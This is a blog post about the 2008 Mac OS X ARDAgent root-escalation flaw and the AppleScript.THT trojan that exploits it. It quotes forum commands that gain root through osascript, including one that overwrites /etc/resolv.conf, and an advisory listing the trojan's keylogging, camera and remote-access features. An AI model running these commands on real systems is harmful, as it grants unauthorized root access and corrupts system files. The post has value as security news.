iThreats

This is scary, I’ve tried and it works perfectly …. And now, a new OS X trojan on the loose exploiting this vulnerability.

So, what is this all about ? Usually, malwares in Mac requires root privilege to get installed just like DNSChanger. But in this case, exploiting Apple Remote Desktop (ARD) Agent vulnerability, the user can bypass this security and can gain root access.

This zero day vulnerability was actively discussed in this thread, where an anonymous reader writes:

“Half the Mac OS X boxes in the world (confirmed on Mac OS X 10.4 Tiger and 10.5 Leopard) can be rooted through AppleScript: osascript -e 'tell app "ARDAgent" to do shell script "whoami"'; Works for normal users and admins, provided the normal user wasn’t switched to via fast user switching. Secure? I think not.”

And worst, another contributor in this thread divulge the real danger of this exploit.

————————————————————————————

Disconfirmed – I don’t have (and never have had) Screen Sharing enabled on Leopard 10.5.3, and this exploit works perfectly.

So, how dangerous is this? Here’s an example:

osascript -e ‘tell app “ARDAgent” to do shell script “cd

————————————————————————————

I’ve got it to run destructive things as an ordinary user without any need for authentication beyond being logged in

% osascript -e 'tell app "ARDAgent" to do shell script "echo Nasty Content > /etc/resolv.conf"' % cat /etc/resolv.conf
Nasty Content

————————————————————————————

Security is like sex. Once you’re penetrated you’re ****ed. By AppleKid

SecureMac has discovered multiple variants of a new Trojan horse in the wild that affects Mac OS X 10.4 and 10.5. The Trojan horse is currently being distributed from a hacker website, where discussion has taken place on distributing the Trojan horse through iChat and Limewire.

The Trojan horse runs hidden on the system, and allows a malicious user complete remote access to the system, can transmit system and user passwords, and can avoid detection by opening ports in the firewall and turning off system logging. Additionally, the AppleScript.THT Trojan horse can log keystrokes, take pictures with the built-in Apple iSight camera, take screenshots, and turn on file sharing. The Trojan horse exploits a recently discovered vulnerability with the Apple Remote Desktop Agent, which allows it to run as root.

The Trojan is distributed as either a compiled AppleScript, called ASthtv05 (60 KB in size), or as an application bundle called AStht_v06 (3.1 MB in size). The user must download and open the Trojan horse in order to become infected. Once the Trojan horse is running, it will move itself into the /Library/Caches/ folder, and add itself to the System Login Items. [Read SecureMac Advisory]

I hope I can get a copy for analysis.